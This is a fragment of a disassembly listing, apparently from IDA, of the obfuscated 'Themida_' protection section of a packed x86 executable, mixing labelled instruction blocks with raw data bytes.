		db 81h
		dd 0EC4674C5h, 81C50178h, 0EC4674EDh, 0ED815878h, 111E6944h
		dd 58F3ED81h, 0C5814991h, 29360666h, 7CB0C581h,	0EA313E10h
		dd 0FC90B5Dh, 130C84h, 34FF5400h, 0EB1CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A336:				; CODE XREF: Themida_:00586CF0j
		add	ebx, 0F5F81443h
		mov	eax, ebx
		pop	ebx
		jmp	loc_58CC51
; ---------------------------------------------------------------------------
		dd 8B243C87h, 89572424h, 0C80FE9E7h, 0C801FFFFh, 0FF8289E9h
		dd 0BFE95FFFh, 81000018h, 0E1522BE6h, 0E9DEF747h, 0FFFFA628h
		dd 1953D4BDh, 3FC5815Ch, 0E923F56Eh, 0FFFFF074h, 240C8B66h
		dd 6EA268h, 24048900h, 0E9525854h, 0FFFFD70Eh, 8104C483h
		dd 4C5h, 0B7B95100h, 0C123DB11h, 0C18303E9h, 7CE181FFh
		dd 816D1D39h, 275AE2F1h, 0E9D9F775h, 0FFFFD003h
; ---------------------------------------------------------------------------


loc_58A3B8:				; CODE XREF: Themida_:0058B9D9j
		add	eax, 534F0780h
		xor	eax, 17205982h
		sub	eax, 98BC44A0h
		mov	esi, eax
		pop	eax
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 2
		jmp	loc_58DBAD
; ---------------------------------------------------------------------------
		dd 5504C483h, 4BDh, 0D8ECE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A3E6:				; CODE XREF: Themida_:005890C8j
		pop	dword ptr [edi+24h]


loc_58A3E9:				; CODE XREF: Themida_:00581A19j
		push	eax
		jmp	loc_582A90
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCDh, 0FFD165E9h, 0C4835AFFh, 4C48304h,	0E904C483h
		dd 1B60h, 8704C483h, 0FF5C2404h, 0FCE92434h, 89FFFF77h
		dd 0E95155E1h, 0FFFF94D3h, 52A80459h, 0E96BB551h, 0FFFF983Fh
; ---------------------------------------------------------------------------


loc_58A42C:				; CODE XREF: Themida_:00581C3Bj
		mov	ebp, [esp]
		jmp	loc_5859D1
; ---------------------------------------------------------------------------
		dd 99E955ADh, 81FFFFC9h, 4C3h, 4EB8100h, 87000000h, 248B241Ch
		dd 2383E924h, 34FF0000h, 24048B24h, 1F8AE9h, 89E98000h
		dd 8059CB00h, 0C3000AC3h, 98E95166h, 0B500001Dh, 23ED8031h
		dd 0E908E5C0h, 264h, 5E5DEB89h,	1C8BD829h, 4C48324h, 264A68h
		dd 0B33BE900h, 565DFFFFh, 0FFBC8DE9h, 5BDA29FFh, 24143358h
		dd 0FF9DEFE9h, 249268FFh, 34FF08BBh, 80E95A24h,	55000034h
		dd 1A3A80BDh, 0C5ED8112h, 89AF65EAh, 8DE95DE9h,	66FFFFE4h
		dd 52240C89h, 53BBB551h, 0FFABEEE9h, 243C8BFFh,	6804C483h
		dd 2F3Bh, 1FE9E9h, 0F678B200h, 0B5CA80D2h, 45B35366h, 5B66DA28h
		dd 0FFDEE1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A4F9:				; CODE XREF: Themida_:00587A90j
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_5870FE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4244481h, 3F75722Eh,	4244481h, 2F7F510Fh, 4245429h
		dd 4246C81h, 2F7F510Fh,	4246C81h, 3F75722Eh, 4246C81h
		dd 62513B5Bh, 2434FF5Ah, 0FFAFF4E9h, 8BF029FFh,	0C4832434h
		dd 71512D04h, 56535751h, 0B5E95652h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A54F:				; CODE XREF: Themida_:00583E96j
		push	eax
		mov	eax, 0D426D55Bh
		sub	edx, eax
		jmp	loc_586779
; ---------------------------------------------------------------------------
		dd 5C241C87h, 835DEE01h, 6CE902C6h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A56B:				; CODE XREF: Themida_:0058AD9Fj
		inc	edi
		jmp	loc_58CC72
; ---------------------------------------------------------------------------
		db 66h,	50h, 9Ch
		dd 0FF7350E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A579:				; CODE XREF: Themida_:00585528j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		db 89h,	0EFh, 5Dh
		dd 685FFE01h, 4555h, 0BA241489h, 7644D09h, 5108EAC1h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 55E95C24h, 2100001Eh, 9DABE9D9h
		dd 0E468FFFFh, 89000040h, 0E6892434h, 4C681h, 0BB530000h
		dd 18CA3E72h, 0FFEAFDE9h, 0C8B66FFh, 0E9CAE924h, 0C483FFFFh
		dd 4C28104h, 33000000h,	14312414h, 24143324h, 24148B5Ch
		dd 0E4FBE950h, 0C481FFFFh, 4, 106968h, 243C8900h, 4EC81h
		dd 1C890000h, 4BB24h, 0DF890000h, 89F7E95Bh, 0C280FFFFh
		dd 0CC0EE968h, 3433FFFFh, 24343124h, 5C243433h,	9C240400h
		dd 0FFA5EAE9h, 243489FFh, 194D68h, 24248900h, 4240481h
		dd 8B000000h, 0C4812434h, 4, 2DF8B951h,	0E18171D1h, 79435134h
		dd 12CBD55h, 0E9817141h, 43CA3F5Fh, 0C181E929h,	43CA3F5Fh
		dd 17B0E95Dh, 4AE90000h, 1FFFF72h, 7DEB81F3h, 8B61DD5Dh
		dd 0C4832434h, 0C3815D04h, 15827312h, 0EB81C301h, 15827312h
		dd 7F42EB81h, 0C068564Dh, 8900001Bh, 34E9241Ch,	68FFFFE9h
		dd 5BFCh, 0F7243489h, 348B2414h, 4C48124h, 50000000h, 62339CB8h
		dd 0EC66E9D2h, 0F201FFFFh, 0F5BB535Eh, 0C1153975h, 0E94B08E3h
		dd 0FFFFBC5Ah, 7E9CDFEh, 8100001Bh, 1F7258F5h, 2BC5815Fh
		dd 8118F615h, 0B85819EDh, 5DF5813Eh, 1F5F6ECh, 0C5895DE8h
		dd 8124048Bh, 4C4h, 0BD555100h,	63E46061h, 0AAC5814Dh
		dd 89BE0AB1h, 0E30AE9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A722:				; CODE XREF: Themida_:00581F3Aj
		push	edi
		mov	edi, 68C23A65h
		neg	edi
		or	edi, 63993801h
		xor	edi, 73501344h
		xor	edi, 84EDEEDDh
		sub	ebp, 0F6619AAh
		add	ebp, edi
		add	ebp, 0F6619AAh
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58C0B2
; ---------------------------------------------------------------------------
		dd 89242C89h, 4C581E5h,	53000000h, 4BBh, 84C58100h, 292C0B1Dh
		dd 84ED81DDh, 0E92C0B1Dh, 0FFFFACECh, 0AFF8E959h, 0EC81FFFFh
		dd 4, 0FF8512E9h, 0E5E95CFFh
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A79F:				; CODE XREF: Themida_:00582DB4j
		pop	esp
		jmp	loc_587D3A
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0BBh
		dd 0E99C2404h, 0FFFF7119h, 0CB800AB3h, 2E3C016h, 0FF984DE9h
		dd 88CCFEFFh, 0E95866E5h, 0FB8h, 9D1C77FFh, 24041158h
		dd 70F3E99Ch, 248BFFFFh, 9CC88524h, 0FF70E8E9h,	242C89FFh
		dd 8BE9E589h, 1FFFFA7h,	0C875FF9h, 24248B24h, 5451C80Fh
		dd 81240C8Bh, 4C4h, 2D76E900h, 0E9550000h, 2929h, 48BC109h
		dd 4C48124h, 87000000h,	0D93143D9h, 0D931CB31h,	877BC181h
		dd 0E953935Fh, 164h, 0E904C483h, 0FFFFE656h
; ---------------------------------------------------------------------------


loc_58A834:				; CODE XREF: Themida_:0058726Fj
		xor	ecx, 165D600Bh
		add	esi, ecx
		pop	ecx
		sub	esi, edi
		sub	esi, 720329BAh
		xchg	esi, edi
		pop	esi
		xor	edi, 5F5F35C0h
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5895E2
; ---------------------------------------------------------------------------
		dd 0E6E9815Eh, 811E7C40h, 9513AAE9h, 75F18173h,	8988F19Ch
		dd 0BE69E9CFh, 0EE81FFFFh, 0DDB8DF49h, 34FFF231h, 9454E924h
		dd 0C230FFFFh, 0DF045866h, 0DF2CD000h, 0E924148Bh, 0FFFF98B4h
		dd 81E28952h, 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h
		dd 5224248Bh, 0F0263ABAh, 94BD550Bh, 0E916FC40h, 0FFFF7017h
		dd 31241433h, 14332414h, 1DE95C24h, 5CFFFFC1h, 31243433h
		dd 34332434h, 24248B24h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		jmp	loc_584D0C
; ---------------------------------------------------------------------------


loc_58A8EA:				; CODE XREF: Themida_:0058B719j
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_589568
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FF662424h, 0E99C2404h, 0FFFF6FC1h, 0BF57C301h, 3C462A56h
		dd 0FFFFC781h, 60E9FFFFh, 6600001Eh, 5124048Bh,	0FF9386E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A925:				; CODE XREF: Themida_:00586E8Fj
		push	3D25h
		jmp	loc_588DC2
; ---------------------------------------------------------------------------


loc_58A92F:				; CODE XREF: Themida_:0058A1D1j
		push	ebx
		push	ecx
		mov	ecx, 1B03646Ah
		push	ecx
		pop	ebx
		pop	ecx
		xor	[esp+4], ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 1B03646Ah
		push	dword ptr [esp]
		jmp	loc_58B326
; ---------------------------------------------------------------------------
		dw 8968h
		dd 8900002Bh, 8B54242Ch, 0E951242Ch, 0FFFFD2A6h, 36F6C581h
		dd 0EF21D2F6h, 52D7F75Dh, 0FF9F5AE9h, 5DE829FFh, 42E9D029h
		dd 31FFFFC3h, 2C33242Ch, 24248B24h, 0E9242C89h,	1BBAh
		dd 2E79D5BBh, 5BD8017Eh, 0FFF9B5E9h, 0F1015BFFh, 0FFAC72E9h
		dd 0E95358FFh, 0FFFF90F9h, 4C781h, 0C7810000h, 4, 1D9EE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A9BE:				; CODE XREF: Themida_:0058490Bj
		sub	ecx, 743A7130h
		pop	edx
		jmp	loc_58C696
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 148B6624h, 63F76824h, 3C890000h, 81E78924h, 4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 1968240Ch, 5400006Eh, 0E924048Fh
		dd 0A99h, 0CA27E82Dh, 45E95233h, 53FFFF82h, 0FFB9FAE9h
		dd 1CE952FFh, 68000029h, 229Eh,	0FFD0F6E9h, 1F6853FFh
		dd 5B64F936h, 0F707E3C1h, 0A9DCE9DBh, 34FFFFFFh, 24148B24h
		dd 4C481h, 89520000h, 4C281E2h,	81000000h, 4C2h, 24148700h
		dd 114DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58AA52:				; CODE XREF: Themida_:00589D87j
		sub	ebp, 55F44A50h
		pop	ebx
		neg	ebp
		push	6614h
		mov	[esp], esi
		push	edx
		mov	edx, 1CF248CCh
		mov	esi, 0DC464F35h
		jmp	loc_58D342
; ---------------------------------------------------------------------------
		db 8Bh
		dd 63E9240Ch, 68FFFFFBh, 1917h,	0FF243C89h, 48B2434h, 4C48124h
		dd 83000000h, 34FF04C4h, 243C8B24h, 81E18951h, 4C1h, 4C18100h
		dd 0E9000000h, 0FFFFF1DEh, 5624148Bh, 0C681E689h, 4, 0FFBBA5E9h
		dd 6E07E9FFh, 8145FFFFh, 56194FEDh, 8F22D43h, 0E8013C98h
		dd 9808F205h, 0D1685D3Ch, 89000072h, 2BF243Ch, 1000000h
		dd 4335FF8h, 553E924h, 0D0280000h, 2C5A665Ah, 4F00061h
		dd 5A922C61h, 6BD68h, 240C8900h, 0C181E189h, 4,	3302E983h
		dd 0C31240Ch, 240C3324h, 0C89665Ch, 0E90AB124h,	0FFFF7972h
		dd 24048966h, 0FF6D9CE9h, 241C89FFh, 7E3D6855h,	315D2F91h
		dd 31EB31DDh, 0DD874BDDh, 1BA3E9h, 5CE95400h, 6800000Fh
		dd 95Dh, 0FFDAB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58AB55:				; CODE XREF: Themida_:0058310Cj
		and	eax, 49762264h
		add	eax, 96E3A57h
		add	eax, 0FED518E1h
		jmp	loc_58BC58
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 2
		dd 0FFAD1FE9h, 5BDA09FFh, 0F7CDEA81h, 0F0E9DEF6h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AB7F:				; CODE XREF: Themida_:005828F1j
		pop	ecx
		dec	ebp
		dec	ebp
		dec	ebp
		jmp	loc_582B7D
; ---------------------------------------------------------------------------
		dd 89241489h, 4C281E2h,	83000000h, 25E904EAh, 0C1FFFFFDh
		dd 0C68102E6h, 84CCF7FBh, 5D7DC381h, 0D0E961DDh, 83FFFFFAh
		dd 1C8904ECh, 0E1885124h, 56E9CB88h, 6800002Ch,	3A10h
		dd 53241489h, 664165BBh, 4E6B6804h, 0F7E90000h,	81FFFFCEh
		dd 8E4834EAh, 81FA294Ah, 8E4834C2h, 0E2C15F4Ah,	0F7EAD102h
		dd 2BC281DAh, 29C3A32Eh, 2434FFD0h, 0FF8F0BE9h,	24248BFFh
		dd 0C8AF0F66h, 0E99C5166h, 0FFFF6CBDh, 59CA0158h, 7463BF57h
		dd 0C78111D8h, 163CF177h, 11C8E9h, 0DBB700h, 0E7C05AF7h
		dd 80C7FE07h, 0B652B8F7h, 180AE9E9h, 0E8280000h, 83599E04h
		dd 148904ECh, 0D05BB224h, 98CA80E2h, 39E9DAF6h,	5BFFFF7Eh
		dd 4B850h, 0C7010000h, 6F4E9h, 242C8B00h, 4C481h, 0C4830000h
		dd 0E2895204h, 4C281h, 0E9560000h, 3165h, 616EC581h, 2D5B4783h
		dd 57D4188Dh, 8D05E801h, 5D57D418h, 4D23E705h, 0E9D80160h
		dd 0FFFF9841h, 240C875Fh, 3124248Bh, 0E99C2404h, 0FFFF6C21h
		dd 525E5456h, 4BAh, 0D2C68100h,	12A6602h, 0D2EE81D6h, 0FF2A6602h
		dd 565A2434h, 0C6815E54h, 4, 0E904C683h, 0FFFF94CEh, 1B4368h
		dd 0A607E900h, 7FBDFFFFh, 0E97B2815h, 0FFFFA4B4h
; ---------------------------------------------------------------------------


loc_58ACE8:				; CODE XREF: Themida_:00584D29j
		inc	eax
		add	eax, 42A42A20h
		sub	edx, eax
		pop	eax
		xor	edx, 3628746Fh
		add	edx, 8701B9BCh
		or	edi, edx
		pop	edx
		not	edi
		inc	edi
		push	ecx
		jmp	loc_5874BE
; ---------------------------------------------------------------------------
		db 0BEh, 0F7h, 8Ch
		dd 0D6293415h, 8124148Bh, 4C4h,	2FC68100h, 21E75DC9h, 24348BF0h
		dd 0FF9262E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58AD29:				; CODE XREF: Themida_:0058BCDAj
		add	edi, 5D4A7285h
		jmp	loc_58C96E
; ---------------------------------------------------------------------------
		dd 35E9FA01h, 53FFFFABh, 272FE9h, 4EC8300h, 32CFE9h, 80D4F600h
		dd 0E728BBECh, 5BFD3058h, 0C580C5FEh, 1EB652D3h, 0C0AEEE80h
		dd 536605EEh, 0FE088FB7h, 0F6805B66h, 16F68093h, 5AF000h
		dd 0E90A2CE8h, 0FFFFE4BAh
; ---------------------------------------------------------------------------


loc_58AD7C:				; CODE XREF: Themida_:0058CAD4j
		add	eax, 67A74C10h
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	edi
		jmp	loc_58C7DD
; ---------------------------------------------------------------------------


loc_58AD9E:				; CODE XREF: Themida_:0058C913j
		pop	ebp
		jmp	loc_58A56B
; ---------------------------------------------------------------------------


loc_58ADA4:				; CODE XREF: Themida_:0058BFC8j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58551D
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 2Bh
		dd 12B5A71h, 2BC181D1h,	5A2B5A71h, 543468h, 240C8900h
		dd 42474FFh, 0E9240C8Bh, 0FFFFACC3h, 8704C483h,	248B240Ch
		dd 0EF4CE924h, 8166FFFFh, 8169E8E9h, 2ECh, 0ACC0E900h
		dd 1489FFFFh, 81E28924h, 4C2h, 4C28100h, 0E9000000h, 0FFFFB7A7h
		dd 0AD14E952h, 0DB68FFFFh, 89000043h, 17E92424h, 0FFFFFFC2h
		dd 48B2434h, 8DE95224h,	0FF000014h, 669D1C77h, 241CD359h
		dd 6A97E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AE32:				; CODE XREF: Themida_:005862DCj
		pop	edx
		xor	edx, 4C6F7818h
		push	esi
		mov	esi, edx
		jmp	loc_58A06E
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 35h
		dd 57AA1F6Dh, 0FFE3F9E9h, 815D54FFh, 4ECh, 24348900h, 4BEh
		dd 0FFF50100h, 80E92434h, 6600002Dh, 52240C8Bh,	0CFD2E953h
		dd 4BAFFFFh, 51000000h,	6A5989B9h, 1EF8145h, 8172C129h
		dd 0D14EEBEFh, 11DFE93Dh, 36E90000h, 89FFFF6Ah,	0E0892404h
		dd 0FF9524E9h, 8BD001FFh, 89562414h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 4055Ch, 0E9E90000h,	0FFFFFF9Dh, 83582434h
		dd 1C8904ECh, 0FF3CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58AECE:				; CODE XREF: Themida_:005897E7j
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		jmp	loc_587FE7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 8B2EE924h, 3431FFFFh, 24343324h, 83243431h, 79E904ECh
		dd 81FFFFEDh, 8015FCEFh, 0E9F90121h, 0FFFFAFAEh
; ---------------------------------------------------------------------------


loc_58AF0C:				; CODE XREF: Themida_:00586A12j
		mov	esi, edx
		sub	esp, 4
		jmp	loc_5882E4
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0E9243433h, 0FFFF7850h, 283CF580h, 0A5E959EAh, 83000005h
		dd 53E904C4h, 30FFFF72h, 24322424h, 24243024h, 6602EC83h
		dd 52241C89h, 0FF7EB0E9h, 4C681FFh, 51000000h, 2BA52h
		dd 81520000h, 583D242Ch, 0C8B7E5Ch, 4C48124h, 81000000h
		dd 5C583DC1h, 0E9515A7Eh, 0FFFF7CB6h, 4BFh, 0B0CCE900h
		dd 0C483FFFFh, 4EC8304h, 0BA241489h, 13960C8Bh,	0D3E9DAF7h
		dd 87FFFFB4h, 90E92404h, 8BFFFFCCh, 0E9502404h,	0FFFF8BF9h
		dd 15BD901h, 7E959CBh, 0B2000027h, 0E9D0001Dh, 0FFFF869Ah
		dd 9C2424D2h, 0FF6904E9h, 4C183FFh, 0E9240C87h,	0FFFFDFD2h
		dd 0FFF1015Bh, 815E2434h, 4C4h,	0C2BD5500h, 50050376h
		dd 0B835C5B8h, 0E9D8F708h, 2508h, 240C8B66h, 10C768h, 240C8900h
		dd 0FFF416E9h, 240433FFh, 0FFBE0AE9h, 68BBE9FFh, 0F589FFFFh
		dd 0FFF467E9h, 4C481FFh, 68000000h, 586Fh, 0BA241489h
		dd 2Ch,	83E9FA01h, 6800001Eh, 878h, 68240C89h, 5094h, 0FFB90BE9h
		dd 240431FFh, 0E9240433h, 0FFFFF97Eh, 5EF2895Eh, 24CA815Fh
		dd 4A5EDD31h, 0EA81DAF7h, 2D497DC7h, 555AD001h,	0C76E9h
		db 0
; ---------------------------------------------------------------------------


loc_58B069:				; CODE XREF: Themida_:0058952Cj
		mov	esp, [esp]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B071:				; CODE XREF: Themida_:005853B8j
		dec	ebx
		jmp	loc_5870CF
; ---------------------------------------------------------------------------
		db 0B0h
		dd 58C330ABh, 0E380D3F6h, 0AFC380EEh, 2C5BD828h, 148B6629h
		dd 0E95324h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B093:				; CODE XREF: Themida_:00584A52j
		push	0F255CB7h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 523C554Eh
		xor	eax, 5F963966h
		sub	eax, 1
		xor	eax, 47140277h
		neg	eax
		add	eax, 46904041h
		xor	eax, 8D97D6E5h
		add	edi, eax
		pop	eax
		xor	edi, 1AF5396h
		push	476h
		mov	[esp], esi
		jmp	loc_589102
; ---------------------------------------------------------------------------
		db 8Fh
		dd 22E92404h, 81FFFFFBh, 0AA5182F7h, 86F7815Eh,	171EDB0h
		dd 0EC815FFBh, 4, 0FF241C89h, 5B042474h, 0E924048Fh, 1AD9h
		dd 0E904C383h, 2613h, 0B9240C89h, 4, 90E9CE89h,	5AFFFFDDh
		dd 8B66E530h, 0C4812404h, 2, 8159E830h,	2ECh, 1C896600h
		dd 2A686624h, 4896601h,	0B7535224h, 0AFF7801Eh,	535BFA88h
		dd 0DC88D388h, 98E95A5Bh, 83FFFFA7h, 0FF5204C4h, 5A042474h
		dd 5C24048Fh, 0E99CC138h, 0FFFF6765h, 4EF805Ah,	805BFA28h
		dd 0E951EFE2h, 0C35h, 8103EDC1h, 0F5604AF5h, 0E9EB0108h
		dd 0FFFFE935h, 24048F54h, 0FFD4ACE9h, 0B6B850FFh, 0F770FA3Bh
		dd 3E0C1D0h, 35E9D8F7h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B19F:				; CODE XREF: Themida_:0058D8B1j
		push	ebx
		push	ecx
		mov	cl, dl
		mov	bh, cl
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_589F16
; ---------------------------------------------------------------------------
		dd 8245C01h, 6F0E9h, 0D8005A00h, 0FF7571E9h, 0BB5348FFh
		dd 5140565Ch, 355BD829h, 34C8233Ah, 2D02E0C1h, 99E0EC6Fh
		dd 0E958C531h, 0FFFF7266h
; ---------------------------------------------------------------------------


loc_58B1EC:				; CODE XREF: Themida_:00588340j
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	1052h
		mov	[esp], eax
		push	esi
		jmp	loc_58581B
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 535AD001h, 71CFE956h, 0C281FFFFh,	230B5384h, 3138C281h
		dd 1C8B12DAh, 4C48124h,	81000000h, 8A7838C2h, 6CE94A58h
		dd 0FF000003h, 669D1C77h, 24041858h, 666FE99Ch,	74FFFFFFh
		dd 8F590424h, 248B2404h, 5AD02124h, 0E2D1C209h,	4EC81h
		dd 4890000h, 11116824h,	2C890000h, 0BD555024h, 7CB0FFBh
		dd 22E9F581h, 0E5C1067Ch, 8BA5204h, 310C7608h, 814D5AD5h
		dd 0D16D77EDh, 0E9E889D8h, 184Dh, 0F702EAC1h, 8EC281DAh
		dd 103FDBEh, 24148BD0h,	504C483h, 4, 0FF78C7E9h, 1E980FFh
		dd 5064E980h, 88CF8853h, 0BEE95BFCh, 8BFFFFCCh,	0C483241Ch
		dd 0A5E95604h, 81000003h, 0B57269EEh, 5EF20104h, 815AD301h
		dd 7562ACC2h, 0A8C28137h, 0E97C5249h, 66Ah, 0E95DEE01h
		dd 0FFFFDF1Bh, 815AD301h, 0E239FFEBh, 8DEB8169h, 83483F11h
		dd 1C8904ECh, 0D4E95224h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B31F:				; CODE XREF: Themida_:0058C596j
		pop	esi
		pop	ebp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B326:				; CODE XREF: Themida_:0058A94Dj
		pop	edi
		add	esp, 4
		and	[edi+1Ch], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58669D
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E99CC885h, 0FFFF6585h, 0EC835559h, 24248904h
		dd 0FF813FE9h, 3C8758FFh, 0CFF5C24h, 6AE99C24h,	89FFFF65h
		dd 7FB82404h, 0E91D4EF6h, 0FFFFBB86h, 240C8B5Bh, 0FE04C483h
		dd 80EE2CC0h, 0C3002EEBh, 8B2EC380h, 0C4812404h, 4, 0FFC0B60Fh
		dd 36E98734h, 50FFFF65h, 42474FFh, 24048F58h, 0C8AF0F5Ch
		dd 22E99C51h, 29FFFF65h, 2BC281DAh, 0E95DB37Ch,	0FFFFE073h
		dd 4C381h, 7BE90000h, 81FFFFB6h, 0F55AA3C1h, 0F6E95E36h
		dd 55FFFFD2h, 38386568h, 93E95D14h, 50FFFFBCh, 4B8h, 828CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58B3E2:				; CODE XREF: Themida_:00589A13j
		sub	esp, 4
		jmp	loc_5868AB
; ---------------------------------------------------------------------------
		dw 7ABFh
		dd 0E92B3524h, 0FFFF7AE7h, 24348966h, 0BD665566h, 5566D807h
		dd 24048166h, 5E667240h, 2C685266h, 89000052h, 6866243Ch
		dd 5F663D36h, 8FB96651h, 0E1816672h, 81667A2Eh,	6644D7F1h
		dd 483DC181h, 59CF2166h, 56F78166h, 0FA89664Fh,	22D1E95Fh
		dd 0EAC10000h, 7DB85003h, 213BD270h, 535758C2h,	412ECBBBh
		dd 5527BF71h, 8FE90F50h, 29FFFFE1h, 0B4C281EAh,	5D11093Ch
		dd 8BD0895Dh, 0C4832414h, 3E5D6804h, 0B6E90000h, 5DFFFFF6h
		dd 4BE56h, 0ECE90000h, 28FFFF80h, 241C8BF8h, 0FFF39FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58B48D:				; CODE XREF: Themida_:00588DDBj
		push	ecx
		mov	ecx, edi
		jmp	loc_58C083
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 240C8B04h, 0FFE266E9h, 0BDCE80FFh, 0FEEECE80h, 89EE80CEh
		dd 8036E680h, 0F38845EEh, 0C0EBD05Ah, 0CB8005E3h, 0C380FDh
		dd 45BD800h, 2CD02867h,	5AFD2C67h, 0E902EC83h, 0FFFF79C7h
		dd 66D03059h, 8124148Bh, 2C4h, 0FC33000h, 89E9C0B6h, 0FFFFBDh
		dd 0F1805AD1h, 60E9808Bh, 0E95DC980h, 21FEh, 240C8B66h
		dd 0E3895357h, 4C381h, 0BD550000h, 4, 0A4E9EB29h, 81000017h
		dd 161F08EEh, 8BF78935h, 0C4832434h, 3E7C104h, 0EB7BEF81h
		dd 0C681424Dh, 3E83409Ch, 0EE81FE29h, 3E83409Ch, 83243C8Bh
		dd 6804C4h, 0E9000000h,	0FFFF6F63h, 8BE95366h, 64FFFFAAh
		dd 91E932FFh, 58000004h, 66C0B60Fh, 0E924148Bh,	0FFFF8462h
		dd 0B8A9F681h, 0D6F778ADh, 8904EC83h, 0BCE92414h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58B57B:				; CODE XREF: Themida_:00588E2Ej
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58C848
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 36B2667Bh, 4EC81h, 34890000h, 0CC4BE24h, 87564155h
		dd 0D2F72414h, 0FFB4C0E9h, 74FF56FFh, 0A6E90424h, 53FFFF8Ah
		dd 5677C6BBh, 0F5AFE94Ch, 0E952FFFFh, 0FFFF91D2h, 80BEC680h
		dd 0F3008EEBh, 8064B450h, 0B753C7C4h, 0FECFFE09h, 2D9E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58B5E2:				; CODE XREF: Themida_:00586793j
		pop	edi
		pop	dword ptr [edi+20h]
		jmp	loc_58CD26
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7EEB11A8h, 68h, 0C8BA5200h, 0E90B213Dh, 119Ah, 4B850h
		dd 0C1010000h, 0FF68ADE9h, 0E9D789FFh, 0FFFF89D1h, 460E95Ch
		dd 0B9510000h, 14E59AEh, 0C8BCE29h, 4C48324h, 535EF701h
		dd 6F6844BBh, 5BDF2963h, 38428F57h, 0E954515Fh,	12D8h
		dd 240C8B66h, 150CE9h, 48F5F00h, 24248B24h, 0FF9EA2E9h
		dd 7706BDFFh, 0E9012ACAh, 0E9D1F75Dh, 0FFFFA159h, 4C681h
		dd 0DA680000h, 89000000h, 2B82404h, 81000000h, 32784BEEh
		dd 0E9C60132h, 0FFFF9255h, 42474FFh, 0FFC4FDE9h, 81CE29FFh
		dd 686B4DEEh, 240C8B68h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5866A2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFE380h, 4C481h, 66520000h, 0E935B353h
		dd 0FFFF8CC2h, 0A82C2504h, 0FFAC85E9h, 56D7F7FFh, 0F7631CBEh
		dd 0FF48E952h, 0C828FFFFh, 0C8B6604h, 0BF67E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


